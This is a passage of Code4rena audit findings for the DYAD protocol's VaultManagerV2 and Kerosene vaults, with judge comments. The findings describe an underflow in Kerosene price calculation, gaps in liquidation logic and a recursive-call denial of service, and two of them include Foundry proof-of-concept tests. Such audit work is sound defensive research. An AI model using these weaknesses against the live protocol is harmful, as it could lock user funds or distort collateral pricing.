JustDravee marked the issue as duplicate of #128
#1 - c4-pre-sort
2024-04-29T09:07:32Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-08T10:00:43Z
koolexcrypto marked the issue as not a duplicate
#3 - c4-judge
2024-05-08T10:00:50Z
koolexcrypto marked the issue as duplicate of #338
#4 - c4-judge
2024-05-11T12:20:22Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0x486776, 0xabhay, 0xlucky, 0xtankr, Abdessamed, Circolors, CodeWasp, DarkTower, Egis_Security, Giorgio, Infect3d, Krace, KupiaSec, Limbooo, Maroutis, NentoR, Ryonen, SpicyMeatball, T1MOH, TheFabled, TheSavageTeddy, TheSchnilch, VAD37, XDZIBECX, btk, carrotsmuggler, cu5t0mpeo, dimulski, gumgumzum, iamandreiski, imare, itsabinashb, ke1caM, kennedy1030, lian886, n4nika, oakcobalt, sashik_eth, shaflow2, steadyman, web3km, windhustler, zhaojohnson
3.8221 USDC - $3.82
Main invirant of the protocol is that total value locked is always greater than total amount of DYAD minted TVL > DYAD total supply
(from contest page, section Additional context -> Main invirants
). This invirant can be broken in many ways breaking functionality of VaultManagerV2
.
assetPrice
function from UnboundedKerosineVault
:
function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
As we can see the TVL calculation is based on vaults added to kerosine manager. Vaults added to kerosine manager do not have any funds since they are newly deployed with V2 versio:
uint numerator = tvl - dyad.totalSupply();
// weth vault Vault ethVault = new Vault( vaultManager, ERC20(MAINNET_WETH), IAggregatorV3(MAINNET_WETH_ORACLE) ); // wsteth vault VaultWstEth wstEth = new VaultWstEth( vaultManager, ERC20(MAINNET_WSTETH), IAggregatorV3(MAINNET_CHAINLINK_STETH) ); KerosineManager kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth));
Every function that relies on assetPrice
in UnboundedKerosineVault
will not work as uint numerator = tvl - dyad.totalSupply();
will revert due to underflow.
TVL at deployment = 0
Current Dyad totalSupply = 632967400000000000000000
(22.04.2024)
Of course when user deposits collateral into protocol the TVL will grow, however users will not be able to mint DYAD until TVL surpassed DYAD total supply.
VaultManagerV2
for profit.Main invirant is broken since day one, breaking functionality of VaultManagerV2
. Current design allows attackers to manipulate price of Kerosene token to potnetialy harm fair users.
Add previously deployed vaults into keroseneManager
to consider them during Kerosene price calculation.
DoS
#0 - c4-pre-sort
2024-04-27T18:26:06Z
JustDravee marked the issue as duplicate of #958
#1 - c4-pre-sort
2024-04-29T08:39:24Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T13:48:36Z
koolexcrypto marked the issue as duplicate of #308
#3 - c4-judge
2024-05-11T20:09:12Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0x175, 0x486776, 0xnev, 3docSec, 3th, Aamir, Abdessamed, AlexCzm, Angry_Mustache_Man, Circolors, DedOhWale, Emmanuel, Giorgio, Honour, Jorgect, KupiaSec, Maroutis, Myrault, SBSecurity, Stefanov, T1MOH, VAD37, Vasquez, adam-idarrha, alix40, ducanh2706, falconhoof, iamandreiski, ke1caM, kennedy1030, koo, lian886, ljj, miaowu, pontifex, sashik_eth, shikhar229169, vahdrak1
7.3026 USDC - $7.30
Kerosene tokens should be liquidated during liquidation. They are part of the collateral covering minted DYAD and should be sent to liquidator. In current implementation vaultsKerosene
are not being liquidated.
Let's take a look at liquidate function. In system there are two type of vaults that user can deposit into: vaults
and vaultsKerosene
. As we can see below, liquidate
function only moves funds from vaults
mapping.
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } emit Liquidate(id, msg.sender, to); }
User will not be fully liquidated during liqudation process.
Add for
loop in liquidate
function which loops through vaultsKerosene
and liquidates these vaults during liquidation process.
Example pseudo-code:
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } ++ numberOfVaults = vaultsKerosene[id].length(); ++ for (uint i = 0; i < numberOfVaults; i++) { ++ Vault vault = Vault(vaultsKerosene[id].at(i)); ++ uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); ++ vault.move(id, to, collateral); ++ } emit Liquidate(id, msg.sender, to); }
Error
#0 - c4-pre-sort
2024-04-28T10:25:21Z
JustDravee marked the issue as duplicate of #128
#1 - c4-pre-sort
2024-04-29T09:07:25Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:39:26Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Infect3d
Also found by: 0x486776, 0xAlix2, 0xleadwizard, 0xnilay, Abdessamed, ArmedGoose, Bauchibred, Bigsam, GalloDaSballo, HChang26, Myrault, OMEN, SBSecurity, T1MOH, ZanyBonzy, alix40, atoko, iamandreiski, jesjupyter, ke1caM, miaowu, peanuts, vahdrak1
17.2908 USDC - $17.29
When user falls below 150% collateralization ratio he can be liquidated by other users. When his cr
is below 150% and above 100% there is an 20% incentive for liquidating such positions. However when cr
is below 100%, liquidators would lose money liquidating these positons as they would get collateral worth less (dollars) than they burn Dyad (dollars).
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } emit Liquidate(id, msg.sender, to); }
Positions with low cr
will produce bad debt for protocol as there is no incentive for liquidating these positions.
One solution to this issue is to transfer Kerosene tokens to liquidator to cover up the losses that he would incur.
Other
#0 - c4-pre-sort
2024-04-29T05:56:00Z
JustDravee marked the issue as duplicate of #977
#1 - c4-pre-sort
2024-04-29T09:23:32Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-04T09:44:04Z
koolexcrypto changed the severity to QA (Quality Assurance)
#3 - c4-judge
2024-05-12T09:23:57Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-12T09:45:58Z
koolexcrypto marked the issue as grade-c
#5 - c4-judge
2024-05-28T16:20:19Z
This previously downgraded issue has been upgraded by koolexcrypto
#6 - c4-judge
2024-05-28T16:21:37Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
3.7207 USDC - $3.72
In deploy script UnboundedKerosineVault
is mistakenly licensed in Licenser
instead of KeroseneMangaer
. Because of that user can't add Kerosene vaults to vaultsKerosene
mapping. Kerosene vaults should be added to vaultsKerosene
. The issue is that they can't be added to vaultsKerosene
but can be added into normal vaults and are treated as exteral collateral (breaking the protocol invirnat -> C: the total USD value of all exogenous collateral in the protocol (TVL). Critically, this total does not include Kerosene itself
).
kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth)); ... vaultLicenser.add(address(unboundedKerosineVault));
As we can see only ethVault
and wstEth
vaults are added to keroseneManager in order to be included in Kerosene token price calculation. UnboundedKeroseneVault
is licensed in Licenser. As a result it can be added into vaults
mapping and is treated same as weth
or wsteth
.
Please copy this test file into test/fork
folder and run forge test --match-contract "TestPOC" -vvvv
.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol"; import {DNft} from "../../src/core/DNft.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultWstEth} from "../../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {OracleMock} from "../OracleMock.sol"; contract MockDenominator { function denominator() external view returns (uint256) { return 100_000_000 * 1e18; } } contract TestPOC is Test, Parameters { address owner; address user1; address user2; Dyad dyad; Licenser vaultLicenser; DNft dnft; VaultManagerV2 vaultManager; Vault ethVault; VaultWstEth wstEth; ERC20Mock mockErc20; Kerosine mockKerosene; OracleMock oracleMock; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; MockDenominator mockDenominator; function setUp() public { owner = makeAddr("owner"); user1 = makeAddr("user1"); user2 = makeAddr("user2"); mockDenominator = new MockDenominator(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultLicenser); dnft = new DNft(); vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser); mockErc20 = new ERC20Mock("MOCK", "MCK"); mockKerosene = new Kerosine(); oracleMock = new OracleMock(1000 * 1e8); ethVault = new Vault( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); wstEth = new VaultWstEth( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth)); vaultManager.setKeroseneManager(kerosineManager); kerosineManager.transferOwnership(owner); unboundedKerosineVault = new UnboundedKerosineVault( vaultManager, mockKerosene, dyad, kerosineManager ); boundedKerosineVault = new BoundedKerosineVault( vaultManager, mockKerosene, kerosineManager ); kerosineDenominator = new KerosineDenominator(mockKerosene); unboundedKerosineVault.setDenominator( KerosineDenominator(address(mockDenominator)) ); unboundedKerosineVault.transferOwnership(owner); boundedKerosineVault.transferOwnership(owner); vaultLicenser.add(address(ethVault)); vaultLicenser.add(address(wstEth)); vaultLicenser.add(address(unboundedKerosineVault)); vaultLicenser.add(address(boundedKerosineVault)); vaultLicenser.transferOwnership(owner); vm.deal(owner, 100 ether); vm.deal(user1, 100 ether); vm.deal(user2, 100 ether); mockKerosene.transfer(user1, 500 ether); mockKerosene.transfer(user2, 500 ether); mockErc20.mint(user1, 100 ether); mockErc20.mint(user2, 100 ether); vm.prank(owner); vaultLicenser.add(address(vaultManager)); } function testUserCantAddKeroseneVault() public { vm.prank(user1); dnft.mintNft{value: 1 ether}(user1); vm.startPrank(user1); vm.expectRevert(); vaultManager.addKerosene(0, address(unboundedKerosineVault)); } }
User can't add Kerosene vault thus can't borrow Dyad against his kerosene tokens. User can add it into vaults
. As a result it is treated as weth
or wsteth
.
Add UnboundedKerosineVault
to keroseneManager instead of Licenser.
Example pseudo-code:
-- vaultLicenser.add(address(unboundedKerosineVault)); ++ kerosineManager.add(address(unboundedKerosineVault));
Error
#0 - c4-pre-sort
2024-04-29T05:41:33Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T12:02:47Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:59:46Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:36:27Z
koolexcrypto changed the severity to 2 (Med Risk)
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
3.7207 USDC - $3.72
Adding Kerosene vault into vaultsKerosene
is essential for minting Dyad with Kerosene token as collateral. Price of Kerosene token is based on TVL
and total supply of Dyad. To calculate TVL
protocol loops through vaults (weth, wsteth) added to KerosineManager
. In order to calulate the price of Kerosene correctly we need to add UnboundedKerosineVault
to vaultsKerosene
. The issue is that when we add this vault into vaultsKerosene
, it will call it self, creating recursive call. It will revert the transaction as recursive call will be infinite.
In order to test this scenario we need to make one change in assetPrice
function inside UnboundedKerosineVault
.
function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) -- / (10**vault.oracle().decimals()); ++ / (10**8); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
We need to replace 10**vault.oracle().decimals()
with 8
as this is part of other error.
Please copy this test file into test/fork
folder and run forge test --match-contract "TestPOC" -vvvv
.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol"; import {DNft} from "../../src/core/DNft.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultWstEth} from "../../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {OracleMock} from "../OracleMock.sol"; contract MockDenominator { function denominator() external view returns (uint256) { return 1_000_000 * 1e18; } } contract TestPOC is Test, Parameters { address owner; address user1; address user2; Dyad dyad; Licenser vaultLicenser; DNft dnft; VaultManagerV2 vaultManager; Vault ethVault; VaultWstEth wstEth; ERC20Mock mockErc20; Kerosine mockKerosene; OracleMock oracleMock; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; MockDenominator mockDenominator; function setUp() public { owner = makeAddr("owner"); user1 = makeAddr("user1"); user2 = makeAddr("user2"); mockDenominator = new MockDenominator(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultLicenser); dnft = new DNft(); vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser); mockErc20 = new ERC20Mock("MOCK", "MCK"); mockKerosene = new Kerosine(); oracleMock = new OracleMock(1000 * 1e8); ethVault = new Vault( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); wstEth = new VaultWstEth( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth)); vaultManager.setKeroseneManager(kerosineManager); kerosineManager.transferOwnership(owner); unboundedKerosineVault = new UnboundedKerosineVault( vaultManager, mockKerosene, dyad, kerosineManager ); boundedKerosineVault = new BoundedKerosineVault( vaultManager, mockKerosene, kerosineManager ); kerosineDenominator = new KerosineDenominator(mockKerosene); unboundedKerosineVault.setDenominator( KerosineDenominator(address(mockDenominator)) ); unboundedKerosineVault.transferOwnership(owner); boundedKerosineVault.transferOwnership(owner); vaultLicenser.add(address(ethVault)); vaultLicenser.add(address(wstEth)); vaultLicenser.add(address(unboundedKerosineVault)); vaultLicenser.add(address(boundedKerosineVault)); vaultLicenser.transferOwnership(owner); vm.deal(owner, 100 ether); vm.deal(user1, 100 ether); vm.deal(user2, 100 ether); mockKerosene.transfer(user1, 50_000_000 ether); // mockKerosene.transfer(user2, 10 ether); mockErc20.mint(user1, 100 ether); mockErc20.mint(user2, 100 ether); vm.prank(owner); vaultLicenser.add(address(vaultManager)); } function testInfiniteLoop() public { vm.startPrank(owner); kerosineManager.add(address(unboundedKerosineVault)); kerosineManager.remove(address(wstEth)); vm.stopPrank(); vm.expectRevert(); unboundedKerosineVault.assetPrice(); } }
Adding Kerosene vaults into vaultsKerosene
will break protocol functionality. Price of Kerosene token will not be calculated. BoundedKerosineVault
will also be affected as it uses UnboundedKerosineVault
.
I recommend creating additional mapping in KerosineManger
. One mapping will be reponsible for holding vaults with external collateral such as WETH
and wsteth
. Other mapping will be responsible for holding Kerosene vaults which will loop through vaults with external collateral in order to determine Kerosene token price. During price calculation, loop through Kerosene vaults and ensure that Kerosene vault will not call itself.
DoS
#0 - c4-pre-sort
2024-04-29T05:21:50Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T12:02:58Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:59:48Z
koolexcrypto marked the issue as satisfactory